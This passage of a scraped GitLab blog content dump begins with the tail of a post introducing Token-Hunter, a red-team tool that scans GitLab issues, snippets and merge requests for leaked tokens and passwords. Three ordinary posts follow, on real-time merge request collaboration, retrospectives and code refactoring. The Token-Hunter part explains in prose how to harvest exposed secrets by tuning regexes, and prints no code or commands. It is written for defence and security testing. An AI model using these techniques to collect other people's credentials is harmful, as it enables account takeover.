tokens, usernames, and passwords to public locales like [GitLab snippets](https://docs.gitlab.com/ee/user/snippets.html), [issues](https://docs.gitlab.com/ee/user/project/issues/), [issue discussions](https://docs.gitlab.com/ee/api/discussions.html), [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), and [merge request discussions](https://docs.gitlab.com/ee/api/discussions.html). Sharing this type of information by accident can happen easily when attempting to share relevant information to facilitate a public support request as we often do at GitLab for many different products. Though most people know not to post sensitive information in a public place directly, mistakes do happen, sometimes shortcuts are taken, logs get shared, configuration files get dropped, and information inadvertently gets leaked and leveraged.  More often than not these areas of exposure are often forgotten, but not by attackers.\n\n### Exploring the wide-open\n\nToken-Hunter is intended to complement tools like gitrob, gitleaks, TruffleHog, and others. It can be used if you’re hosting your groups and projects on GitLab.com, or on a self-managed GitLab instance of your own. We created Token-Hunter to support the following features:\n\n- **Search GitLab issues and the related discussions for sensitive data.** GitLab issues and comments are a primary method of sharing information and resolving support issues. They typically contain shared log data, configuration files, copy/pasted [source code](/solutions/source-code-management/) examples, and discussions by both GitLab employees and customers, and are therefore likely to contain sensitive data.\n- **Search GitLab snippets for sensitive data.** These are small, URL-addressable chunks of code or text intended to be shared between GitLab users or served directly in source code. They are most often used to share small bits of configuration data, JavaScript source code, example code in any language, or log data. Therefore, they can likely contain sensitive information like usernames and passwords, API tokens, etc.\n- **Search GitLab merge requests and discussions for sensitive data.** Merge requests and comments are, more often than not, how public open source projects recieve changes from the community.  At GitLab, merge requests facilitate everything from [handbook updates](https://about.gitlab.com/company/culture/all-remote/handbook-first-documentation/) to [GitLab runner](https://gitlab.com/gitlab-org/gitlab-runner) code changes for both internal employees and external contributors.  Descriptions and discussions on these assets can include log data, system access instructions, and the like.\n- **List all of the projects associated with a group.** This is helpful to quantify the problem and understand where the search will start. Optionally, you can include members’ projects in the search to expand the organizational scope similar to gitrob. Starting at different points in the project after you understand your target more completely can yield very different results.\n- **Proxy all traffic from the tool.** Token-Hunter accepts arguments for an HTTP proxy server and self-signed certificate to decrypt TLS traffic. GitLab’s Red Team used this feature to record traffic pattern examples to the Security Operations team in support of defensive strategy development. This feature is also handy for debugging by examining the traffic the tool generates. [Burp Suite](https://portswigger.net/burp/communitydownload) and [OWASP Zap](https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project) are two popular tool choices for proxying traffic locally and can be configured with a self-signed certificate to decrypt TLS traffic.\n\nFor full details on using the tool and the functionality of each of its available arguments, visit [the Token-Hunter project page](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/tree/master) on GitLab.\n\n### Taming the wild... mostly\n\nHitting an API to gather large amounts of raw data is daunting. Internet connections flake out, servers need maintenance, rate limits get hit, WiFi drops, performance degrades, timeouts happen, and you end up with a headache attempting to simply get the data you’d like to analyze. To counter some of these issues as pragmatically as possible, two simple algorithms were applied: request retries and dynamic page-size reduction. Request retries simply retries a failed request after a few seconds. The tool will retry a failed request twice, each after a four-second delay with a four-second backoff. In other words, the first retry will occur four seconds after the initial failed request. The second retry will occur eight seconds after the first failed retry attempt. If each of these retry attempts fails, the tool then attempts to reduce the paging size in order to complete the request. Reducing the page size reduces the number of records the request needs to return lessening the likelihood of a timeout. *Though simple, these two algorithms allowed the tool to reliably pull data for nearly 1.3 million individual GitLab assets with only three recorded request errors resulting in over 1600 pattern matches.*\n\n### More to explore\n\nThe ability to search discussions and other popular channels where sensitive data is likely to be shared is the key benefit of the Token-Hunter tool over other related tooling. The Red Team plans to continue iterating to support our operations, including adding support for more assets such as [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/), commit discussions, and [epics](https://docs.gitlab.com/ee/user/group/epics/). We learned during our operation that the specifics of the regular expressions we used in relation to the context in which we were searching (posted log data format, configuration file format, code structure, etc.) largely determined our level of success. It can be necessary to tune these expressions depending on your environment and context. To start, we made a few adjustments to [TruffleHog’s regular expressions](https://github.com/dxa4481/truffleHogRegexes) to add coverage for GitLab-specific token formats. However, there’s still much room for improvement depending on your environment and objective.\n\nLooking for a specific password for a user name? Trying to find all mentions of a specific server DNS name or IP? Expecting a specific log format that has the potential to contain an API token? Tune [the regular expressions](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/blob/master/regexes.json), and you just may find what you’re looking for.\n\n### We want your ideas and contributions\n\nThere is still plenty to be done and we welcome community contributions and ideas. If the tool is helpful to you in defense of your infrastructure and you’d like to contribute, [there are instructions in the README.md](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter#contributing) on how to get started. If you’re not sure what to do, pick an issue out of [our issue list](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/issues) or add to the existing discussions.  I'd like to extend a special thank you to GitLab user [Ohad Dahan](https://gitlab.com/ohaddahan) for his many contributions to this and other GitLab projects.  These types of contributions are paramount to the continued success of open source projects.\n\nSome of the ideas we’re currently pursuing are:\n\n- **Better output formatting:** We’d like to standardize output to an industry accepted, standard format that allows support for findings verification. A simple CSV file might be the first step.\n- **Real-time reporting of findings:** Currently, the tool gathers data first, then reports on the findings, leaving you in way too much suspense for way too long. Reporting findings as they are found allows verification to begin earlier during a long-running execution.\n- **Data persistence:** Querying the API is the costliest part of inspecting GitLab assets for sensitive data. Persisting that data from an execution would:\n  - Reduce the need to query the API again after tuning your regular expressions. During our operation, we often needed to make changes to the regular expressions based on what we were seeing in the matches. This was virtually impossible given the amount of data necessary to pull.\n  - Allow for long-running executions to be paused and resumed. Executions against larger groups can take several hours and would sometimes require a restart during our operation.\n  - Maintain a permanent record of findings should they be edited following a found match. During our exercise, there were a few occasions where matches were found that looked to be legitimate, but could not be verified as the asset was modified post-discovery.\n\nWe have learned a lot from this initial attempt at gathering OSINT from rather unique and unorthodox locations, but this exercise was just a start. We hope you find the tooling useful and if you have questions or ideas to share please reach out through [email](mailto:redteam@gitlab.com), through our [issue board](https://gitlab.com/gitlab-com/gl-security/gl-redteam/token-hunter/-/boards), or [on Twitter](https://twitter.com/code_emitter). Happy hacking!\n\nPhoto by [Lightscape](https://unsplash.com/@lightscape?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/Bsw6l6e01Rw).\n{: .note}\n",[674,2952,815],{"slug":25593,"featured":6,"template":678},"introducing-token-hunter","content:en-us:blog:introducing-token-hunter.yml","Introducing Token Hunter","en-us/blog/introducing-token-hunter.yml","en-us/blog/introducing-token-hunter",{"_path":25599,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25600,"content":25605,"config":25610,"_id":25612,"_type":16,"title":25613,"_source":17,"_file":25614,"_stem":25615,"_extension":20},"/en-us/blog/future-merge-requests-realtime-collab",{"title":25601,"description":25602,"ogTitle":25601,"ogDescription":25602,"noIndex":6,"ogImage":11919,"ogUrl":25603,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25603,"schema":25604},"The future of merge requests: Real-time collaboration","We want to hear your thoughts on the future of merge requests and code review.","https://about.gitlab.com/blog/future-merge-requests-realtime-collab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The future of merge requests: Real-time collaboration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Pedro Moreira da Silva\"}],\n        \"datePublished\": \"2019-12-19\",\n      }",{"title":25601,"description":25602,"authors":25606,"heroImage":11919,"date":25607,"body":25608,"category":734,"tags":25609},[20154],"2019-12-19","\n\nThis blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2019-12-20.\n{: .alert .alert-info .note}\n\nWe want to share some of the work we’ve been doing in the [Source Code](/handbook/product/categories/#source-code-group) part of the product and get feedback on what could be the future of [merge requests](https://docs.gitlab.com/ee/user/project/merge_requests/) and [code review](/direction/create/code_review/).\n\n**Perhaps the best way is to walk you through a short visual story. You can** [**watch the recording (28 min)**](https://www.youtube.com/watch?v=KpdvIU6hv94) **or** [**jump to its text version**](#context) **below. In the end, if you’d like to share your thoughts, you can do so on the** [**feedback issue**][feedback-issue].\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/KpdvIU6hv94\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n## Context\n\nIf you haven’t been following along our work on merge requests, let’s set the scene:\n1. In the next releases of GitLab, we’re shipping [**performance**](https://gitlab.com/groups/gitlab-org/-/epics/1417) **and** [**navigation**](https://gitlab.com/gitlab-org/gitlab/issues/33813) **improvements**, based on the user experience research we’ve been doing.\n1. We have also an exciting [**new Sourcegraph integration**](/blog/sourcegraph-code-intelligence-integration-for-gitlab/) which levels up the merge request interface allowing you to navigate code, jumping to definitions or finding references.\n1. **Other improvements** we’ve shipped over the past year include [multiple assignees](https://docs.gitlab.com/ee/user/project/merge_requests/creating_merge_requests.html#multiple-assignees), [multiple approval rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#multiple-approval-rules), [code owners](https://docs.gitlab.com/ee/user/project/codeowners/), and [suggest changes][suggest-changes] – all of these were based on research and user feedback (your feedback).\n\nThese are nice improvements but they are iterating on what we already have and are not substantially changing the code review workflow. Today’s merge request experience is pretty similar to what it was five years ago – we’ve improved it a lot but its fundamental structure is the same.\n\nWe’ve been hearing feedback from users and customers about how we might improve merge requests to solve harder problems and that may require rethinking what we’ve come to accept as the default. **The merge request is a significant place, where people collaborate, where knowledge is shared, where people grow in their skills, where code quality is ensured and improved.** As a result, significant time is spent in the merge request interface. So, we’ve been asking ourselves:\n\n> _How can we significantly decrease the cycle time, increase the efficiency of code review, and create better ways of collaborating?_\n\nTo simplify our approach, we have defined **three key questions** that have also surfaced through research and our own usage:\n1. **Catch up**: Understanding where the merge request is since I last looked at it, what needs my attention, what’s changed, and helping me review that difference more efficiently after first reviewing it.\n1. **Real time collaboration**: Many teams are in the same location or same time zone and have significant overlap. Even here at GitLab, an [all-remote company](/company/culture/all-remote/), most people who work together share a few of hours of overlap and are sometimes looking at the same things. So if people are coming to the same merge request, and working on it at the same time, how can we make that more efficient?\n1. **External discussions**: Working remotely, through [asynchronous communication](/handbook/communication/#introduction), is how we mainly communicate at GitLab. It’s something that we do quite well, but sometimes it’s better to work synchronously by just getting on a call and solve confusions, communicate, sketch things out, and then document those decisions. But unfortunately, the merge request doesn’t provide a natural way to do that. We use Zoom, we use Google Docs, and then we try to summarize in merge requests or issues. What if we could integrate all of that into the merge request?\n\nTo explain what we’ve been thinking about and how we could answer these questions, here is a **short visual story**. The following images are very low-fidelity mockups so that we can focus on ideas rather than dwelling on the details.\n\n## 1. Catch up\n\n> The story starts with me, as a reviewer, coming into a merge request and looking at my personal area at the top right corner.\n\n![](https://about.gitlab.com/images/blogimages/future-merge-requests-realtime-collab/step1.png){: .shadow.medium.center}\n\n> I can immediately see what has happened since I last reviewed the merge request: Two files with new changes to review and one comment that needs my attention. This comment may be someone that mentioned me, someone that replied to one of my comments, or maybe someone that resolved a thread I’m participating in.\n\n## 2. Smarter suggestions\n\n> I click the speech bubble icon to jump to that comment, where Katherine, the merge request author, and James, another reviewer, are participating. Hmm, this discussion is getting a bit convoluted... but since they are in other timezones, I’ll reply with my thoughts so they can read them in their own time. It also looks like we need specific expertise here. When I start @-mentioning, I see that André was the person who last changed this line of code (and he’s also a code owner of this file). He might have an idea why this was changed, so I’ll mention him in my comment.\n\n![](https://about.gitlab.com/images/blogimages/future-merge-requests-realtime-collab/step2.png){: .shadow.medium.center}\n\nToday in GitLab we already suggest people who are involved in the merge request or conversation, but this idea brings in new data and more clearly highlights why people are relevant.\n\n## 3. Real time collaboration\n\n> Meanwhile, I notice that Katherine and James are **looking at this merge request right now**, by seeing their avatars popping up at the top of the merge request – _very similar to how you would see someone in Google Docs looking at the same document that you are_. I also get a notification saying that Katherine mentioned me in a comment and that James is now replying to one of my comments.\n\n![](https://about.gitlab.com/images/blogimages/future-merge-requests-realtime-collab/step3.png){: .shadow.medium.center}\n\nI can see people interacting with the merge request in real time, I can notice their presence, but I’m not seeing what they’re typing or collaborating directly with them – we’re just going about doing our tasks separately. **The way we work may change if we expect an immediate response.** For example, if you notice someone is online, you might ask more open-ended questions because you know that the other person can respond more quickly versus writing a longer response that seeks to conclude the discussion faster. And this is helpful not only for people that work distributed and asynchronously but also for people that work in the same time zone, in the same location, in the same office, or even in the same room.\n\n**These presence indicators create certain expectations and give a sense of progress to the merge requests as well.** When you’re waiting on a code review, you don’t know if someone has looked at it or if the reviewers are close to finishing the review. This can save people from interrupting one another. This provides a sense of progress without needing someone to take an active measure to find out if progress is being made. This is important because progress is one of those things that we all want to feel when we’re waiting on someone or something else.\n\n> Back to the story... This is great timing! Since we’re all online maybe it’s time we jump on a call to clear up the discussions together and get back on track.\n\n![](https://about.gitlab.com/images/blogimages/future-merge-requests-realtime-collab/step4.png){: .shadow.medium.center}\n\n> By using this dropdown button next to the avatars, I can immediately start a shared session or invite the other participants to a video call, using Zoom (one of our favorite tools here at GitLab). Starting a Zoom meeting also starts a collaborative shared session in the merge request. **In the shared session we can follow each other and write comments together in real time.** I can now follow James and Katherine and see which files they are looking at, in which lines they’re commenting, and also what they’re writing, in real time. I can also ask to be followed if I want to focus all of the participants’ attention to a specific comment or file. I can even copy a link to this shared session and share it via our chat tool or email so that others can join without having to find the merge request.\n\n![](https://about.gitlab.com/images/blogimages/future-merge-requests-realtime-collab/step5.png){: .shadow.medium.center}\n\nBut the most important thing is the ability to **co-author and collaborate in real time on comments in the merge request**. Not only commenting on the changes but also in the merge request overview (comments that are not attached to specific lines). You can collaborate while you’re in a video call, on the phone, or just in the office next to each other.\n\n## 4. External discussions\n\n![](https://about.gitlab.com/images/blogimages/future-merge-requests-realtime-collab/step6.png){: .shadow.medium.center}\n\n> Collaborating in real time on the merge request allowed us to quickly reach a consensus. **And we could easily record everything we discussed in GitLab, instead of using separate tools.** Before ending the shared session, we add a joint comment with a summary and next steps.\n\nWe know that some teams do code reviews in meeting rooms, projecting the changes and all reviewing it together. Everyone’s got their laptops but they’re sort of looking at the same thing, but not quite. These abilities would allow everyone to take notes collaboratively, creating an interesting way of documenting. This is just one use case, there are likely many more use cases that we can solve here.\n\nYou'll notice that it looks a lot like a Google Doc, but on a merge request in GitLab. From a user experience standpoint, we must try to use metaphors and patterns that people have seen and used in other common tools. **Looking and behaving like Google Docs is a good thing because people can immediately relate and understand what these cursors and avatars mean.** But it’s about understanding these paradigms, not accepting them blindly. We strive to study and see if they fit into the situation at hand and if the users recall using this metaphor for this purpose. Using [boring solutions](https://handbook.gitlab.com/handbook/values/#boring-solutions) is part of our values at GitLab.\n\nToday we use Google Docs to take notes during our meetings but maybe this can replace the need to have all of these different tools open simultaneously while we’re on a video call. You can use your preferred tools, like a projector, to collaborate better depending on your work setting and what works best for you and your team, but in the end **everything is recorded in the same tool, in the same integrated environment that is GitLab.** There is no data duplication and it stops teams from using tools like Google Docs to record information that then gets replicated in merge requests and issues, instead the information can go directly into the single source of truth where the decision and discussion are relevant. If we can work out how to do this properly on merge requests we can perhaps apply it to issues and epics as well.\n\n## 5. Record decisions\n\n> Finally, in the shared session we realized that one of the changes must be documented for posterity so that we can prevent mistakes and clarify our decision. So I come back to the comment to commit it to the code base. **This adds the comment directly to the source file as a code comment.**\n\n![](https://about.gitlab.com/images/blogimages/future-merge-requests-realtime-collab/step7.png){: .shadow.medium.center}\n\nOne thing that we see happening a lot at GitLab and in other companies is people explaining a decision or why we shouldn’t touch this specific part of the code, in writing. This valuable content is usually left in comments, emails, or chat messages, when it should be a _code comment_. **Code comments allow explanations, decisions, and rationale to be left for posterity so that future authors can be aware of them.**\n\nOur [suggest changes feature][suggest-changes] in merge requests allows you to include suggestions as part of your line comments. These suggestions can then be applied directly to the file where the comment was made, replacing its contents with the suggestion. With the idea of \"Commit as file comment,\" this is slightly different, as you’d be applying the comment to the file itself, as a code comment.\n\nMoving the explanation into the actual file rather than leaving it as a comment in the merge request **makes it accessible wherever the code goes**. It’s in the Git repository, it has a timestamp, it’s part of the repository history, and it’s even in your desktop IDE. It means that if you refactor your repository, split this module out into another repository, the comment follows that line of code.\n\n## Conclusion\n\n**We’re not entirely sure how these ideas will be executed, if all of them are viable, or if they’re even good ideas.** That is why we’d love to hear your thoughts on the [**feedback issue**][feedback-issue]. Share with us what you like, what you don’t like, and what other ideas you have for code review. This short story doesn’t mean that we’re going through with these ideas but that we think they are possible directions to solve those big problems that we’ve been seeing with code review at GitLab.\n\nIf you visualize the communication tools as a spectrum, right now GitLab’s merge requests are similar to email: you’re sending \"emails\" you’re receiving \"emails\" and it’s not a real time discussion, you’re not seeing what other people are typing, you don’t know when you’re going to get a response. On the other end of the spectrum is Google Docs: You see exactly what people are typing in real time, and expectations are more clear. Somewhere closer to Google Docs, you have Slack, which as a chat tool is very much focused on synchronous communication (although it can also be used for asynchronous communication). **We want to be in the middle of this communication tools spectrum, not like a Google Doc, always on, always real time, but we also don’t want to stay as an \"email client for collaborating on code.\"** We want to be smarter than that, enabling collaboration at the right moments.\n\nOne question that has been raised is **privacy**: People feel concerned about revealing when they’re looking at a merge request. Privacy is also a big concern in the sense of \"peer pressure,\" people changing their behaviors because they know they can be observed by others. We have to find some middle ground between people that opt to be more private and quietly observe things, versus people that opt for maximum efficiency and prefer collaborating in real time when everyone is in the merge request. Another concern is how to **avoid interrupting** people's flow. We anticipate that these are some of the interesting challenges we will have to wrestle with and balance against helping teams work most efficiently.\n\nThese concerns are one of the main reasons why we are sharing our ideas. We realized that these are some of our blind spots and that there could be others, so **we need** [**your feedback**][feedback-issue]. There also might be other, even more amazing, crazy ideas that we haven’t thought of yet which would take merge requests to an exciting new place. **So don’t limit your feedback to the ideas that we’ve come up with, feel free instead to share ideas that you think would make the merge request an even better place to work and get your job done.**\n\nIf you’re interested in our macro strategy and plans of how we’re going to help you better manage, plan, and create in GitLab, take a look at our [Dev strategy](/blog/dev-strategy-review/).\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nHelp shape the future of code review - [Share your feedback][feedback-issue]\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n\nCover image by [Mitchell Luo](https://unsplash.com/@mitchel3uo) on [Unsplash](https://unsplash.com/photos/H3htK85wwnU)\n{: .note}\n\n[feedback-issue]: https://gitlab.com/gitlab-org/gitlab/issues/36119\n[suggest-changes]: https://docs.gitlab.com/ee/user/discussions/#suggest-changes\n",[1207,2368,2249],{"slug":25611,"featured":6,"template":678},"future-merge-requests-realtime-collab","content:en-us:blog:future-merge-requests-realtime-collab.yml","Future Merge Requests Realtime Collab","en-us/blog/future-merge-requests-realtime-collab.yml","en-us/blog/future-merge-requests-realtime-collab",{"_path":25617,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25618,"content":25623,"config":25627,"_id":25629,"_type":16,"title":25630,"_source":17,"_file":25631,"_stem":25632,"_extension":20},"/en-us/blog/how-gitlab-handles-retrospectives",{"title":25619,"description":25620,"ogTitle":25619,"ogDescription":25620,"noIndex":6,"ogImage":15333,"ogUrl":25621,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25621,"schema":25622},"How GitLab handles retrospectives","Take a peek at how the GitLab team holds monthly retrospectives.","https://about.gitlab.com/blog/how-gitlab-handles-retrospectives","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab handles retrospectives\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-12-19\",\n      }",{"title":25619,"description":25620,"authors":25624,"heroImage":15333,"date":25607,"body":25625,"category":299,"tags":25626},[20767],"\nEach month, GitLab’s engineering team hold a retrospective to learn and improve as much as possible from [every monthly release](/releases/). Retrospectives are the preferred method for GitLab team members [focused on improvement](https://handbook.gitlab.com/handbook/values/#focus-on-improvement) and ensures that our technical debt doesn’t grow faster than our code base.\n\n> “When we say retrospective, here’s what we have in mind: A special meeting where the team gathers after completing an increment of work to inspect and adapt their methods and teamwork. Retrospectives enable whole-team learning, act as catalysts for change, and gener-ate action. Retrospectives go beyond checklist project audits or per-functory project closeouts. And, in contrast to traditional post-mortems or project reviews, retrospectives focus not only on the development process, but on the team and team issues. And team issues are as challenging as technical issues – if not more so.” — [Agile retrospectives: Making good teams great](https://www.amazon.com/Agile-Retrospectives-Making-Pragmatic-Programmers-ebook/dp/B00B03SRJW)\n\nSince retrospectives can cultivate a culture of transparency, trust, collaboration, and communication, we want to share the steps our team takes in order to ship every month.\n\n## Engineering-wide retrospectives\n\nIn line with our [value of transparency](https://handbook.gitlab.com/handbook/values/#transparency), we livestream the meetings to YouTube and monitor the chat for questions from viewers. We also have a publicly available document for [retrospective notes](https://docs.google.com/document/d/1nEkM_7Dj4bT21GJy0Ut3By76FZqCfLBmFQNVThmW2TY/edit?usp=sharing) so that we can [efficiently refer back to decisions, insight, and comments](https://handbook.gitlab.com/handbook/values/#write-things-down).\n\nIn each retrospective, the team methodically works through the same discussion points:\n\n1. **Previous retrospective improvement tasks**: The moderator reviews the improvements the team identified in the last retrospective and discuss progress on those items.\n1. **What went well this month**: Teams are encouraged to celebrate the ways in which we exceeded expectations either individually or as a team.\n1. **What went wrong this month**: Teams are encouraged to identify mistakes and unmet goals. The focus is to highlight areas that didn’t meet our expectations as a team.\n1. **How we can improve**: The team engages in [blameless problem solving](https://handbook.gitlab.com/handbook/values/#blameless-problem-solving) to identify how subsequent releases can improve. Are there changes we can make in workflow? Is there a potential silo forming? Do changes need to be made in communication and collaboration?\n1. **Improvements for next release to track**: At the end of each retrospective, the [Engineering Productivity team](/handbook/engineering/quality/#engineering-productivity) triages improvement items identified during the retrospective. Having a single owner of triaging enables the awareness of the bigger picture technical debt and backstage work required. The individuals issues are assigned to other teams or engineers to execute.\n\nRetrospectives are publicly live streamed each month. Take a look at the retrospective for 12.5. 🍿\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/tkwo9xisg90\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Team retrospectives\n\n[Team retrospectives](/handbook/engineering/management/group-retrospectives/) are held to inform the function-wide retrospective for any given release. [Sean McGivern](/company/team/#smcgivern), engineering manager, Plan:Project Management, wrote a [great article on using GitLab CI to automate monthly releases](/blog/how-we-used-gitlab-to-automate-our-monthly-retrospectives/). Using scheduled pipelines to create an issue early in the release cycle, teams can contribute to the retro issue while they’re still working on the release.\n\n> “It doesn’t matter whether you have four or five labels of things on your retro board, or exactly how you do the retro. What does matter is the notion of thinking about what we're doing and how we can do better, and it is the team that’s doing the work that does this, that is the central thing.” — [Martin Fowler](https://martinfowler.com/articles/agile-aus-2018.html)\n\nIn this [team retrospective issue](https://gitlab.com/gl-retrospectives/create-stage/editor/issues/6), the Create:Editor team takes a look at what went well, what didn’t go well, what can be improved, which issues shipped, and which issues slipped in the [12.5 release](/blog/gitlab-12-5-released). In team retro issues, individuals can gauge how others experienced the release and discuss points raised by teammates.\n\nHere’s a video of the [Plan team](/handbook/product/categories/#plan-stage) holding a retrospective to discuss recent slipped issues. 🍿\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/QA3LlJOi0Ik\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Asynchronous retrospectives\n\nSince GitLab is an [all-remote company](/company/culture/all-remote/), we strongly encourage [asynchronous communication](/handbook/communication/#internal-communication), since team members can be located in any of the [65 countries](/company/team/) where GitLab team members live. We apply asynchronous communication to our retrospectives to ensure that everyone can contribute and document their experiences.\n\nAsynchronous retrospectives are not just for remote teams. They can also be used by colocated teams to facilitate open discussion when team members have the bandwidth to dedicate to problem solving. Furthermore, asynch retros can serve as a dedicated place where people can quickly jot down their thoughts when they suddenly remember an experience, rather than be forced to remember everything during a dedicated call.\n\n## Retrospectives: The impact on culture\n\n[When retrospectives are run efficiently](/handbook/engineering/management/group-retrospectives/), these meetings can build mutual trust, communication, and collaboration. They cultivate a culture of continuous learning and improvement, two characteristics of any strong Agile team. The more teams can determine how to efficiently build software, the more value they can bring to users.\n\nCover image by [Shane Aldendorff](https://unsplash.com/@pluyar?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/mQHEgroKw2k).\n{: .note}\n",[1899,2368,1444],{"slug":25628,"featured":6,"template":678},"how-gitlab-handles-retrospectives","content:en-us:blog:how-gitlab-handles-retrospectives.yml","How Gitlab Handles Retrospectives","en-us/blog/how-gitlab-handles-retrospectives.yml","en-us/blog/how-gitlab-handles-retrospectives",{"_path":25634,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25635,"content":25641,"config":25646,"_id":25648,"_type":16,"title":25649,"_source":17,"_file":25650,"_stem":25651,"_extension":20},"/en-us/blog/agile-for-developers-refactor-code",{"title":25636,"description":25637,"ogTitle":25636,"ogDescription":25637,"noIndex":6,"ogImage":25638,"ogUrl":25639,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25639,"schema":25640},"Agile for developers: Refactoring code","The time commitment involved in refactoring may cause hesitation, but the impact on developer productivity and efficiency outweighs the initial discomfort.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680945/Blog/Hero%20Images/refactorpost.jpg","https://about.gitlab.com/blog/agile-for-developers-refactor-code","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Agile for developers: Refactoring code\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Suri Patel\"}],\n        \"datePublished\": \"2019-12-18\",\n      }",{"title":25636,"description":25637,"authors":25642,"heroImage":25638,"date":25643,"body":25644,"category":299,"tags":25645},[20767],"2019-12-18","\n\nIt’s difficult to cook in a cluttered, untidy kitchen. You need a specific knife, but it needs to be washed. You need that one mixing bowl, but it’s not in the cabinet where you usually keep it. You can’t find a place for the cutting board, because the countertop has no room. Software development is similar to cooking - you need a tidy codebase to deliver rapidly. If you don’t clean your code as you develop, you can find yourself surrounded by a mess. Fortunately, refactoring code helps you keep your [source code](/solutions/source-code-management/) neat and tidy.\n\n## Refactor code to accelerate Agile delivery\n\nRefactoring simplifies the design of code, without altering its behavior, to increase maintainability and readability. Teams refactor code before adding updates or releasing features in an effort to improve code quality so that future iterations built on original code are not bogged down by confusion and clutter. As such, this process helps to [accelerate Agile delivery](/solutions/agile-delivery/).\n\n>  “None of my inventions came by accident. I see a worthwhile need to be met and I make trial after trial until it comes.” — Thomas Edison\n\nRefactoring isn’t a random exercise in which developers tinker with code. It’s a precise process designed to enhance the internal structure of a program’s source code. While it may seem like a tedious task, refactoring has long-term business value.  \n\n## How to get started with refactoring\n\nStaring at unrefactored code trying to determine where to start can be a frightening experience. Fortunately, there are a few methods you can use to make refactoring a little easier. \n\n### Incremental refactoring\n\nThe simplest way to get started is to make small improvements. Make a list of the parts of your system that change most often and refactor those areas. Making incremental improvements on the files that your team works with most often can help you steadily work through your code. By targeting the areas that are used most often, refactoring can have a significant impact on your overall system.\n\n### Test-driven development\n\nYou can think of test-driven development as cleaning as you’re coding. If you’d like to revolutionize the way your team develops and make refactoring an integrated aspect of your workflow, you can embrace test-driven development, which incorporates coding, unit tests, and refactoring to program in short development cycles. Developers write a failing automated test to define a new function before writing the smallest amount of code to pass the test. The code is then refactored to an ideal state.\n\n## The benefits of refactoring code\n\nRefactoring prevents code rot, such as bad dependencies between classes, myriad patches, incorrect allocation of class responsibilities, and duplicate code, resulting in a more efficient code base. The time taken to refactor pays dividends, since it’s easier to clean code closer to when it was written rather than rush to fix problems later.\n\nThe time commitment involved in refactoring may cause hesitation, but the impact on developer productivity and efficiency outweighs the initial discomfort. When developers take the time to refactor, they continually maintain a tidy source code so that other developers can easily deliver without running into problems. Refactoring helps create a culture of shared responsibility, trust, and collaboration.\n\nWith refactoring, the QA and debugging stages are simpler, since there is more cohesion to the overall code. Furthermore, software assets can be extended for years, allowing users to experience prolonged value rather than dealing with an unusable system. \n\n## What’s next for your team?\n\nAgile techniques have the power to transform your team’s culture, sparking seamless delivery, innovation, and collaboration. Depending on your team’s challenges, there’s a technique to help your team through it. With [pairing sessions](/blog/agile-pairing-sessions/), your developers can bridge knowledge gaps, increase communication, and develop solutions to challenging problems. By [strengthening group development](/blog/how-to-strengthen-agile-teams-with-tuckmans-model/), you can help your team rebuild after breaking down silos. When your team [embraces an Agile mindset](/blog/agile-mindset/), they’re more flexible and can easily adapt to changes. Refactoring is one step in a journey to help your team cultivate a strong Agile culture. \n\nCover image by [Barn Images](https://unsplash.com/@barnimages?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/photos/t5YUoHW6zRo)\n{: .note}\n",[1899,2368,1444],{"slug":25647,"featured":6,"template":678},"agile-for-developers-refactor-code","content:en-us:blog:agile-for-developers-refactor-code.yml","Agile For Developers Refactor 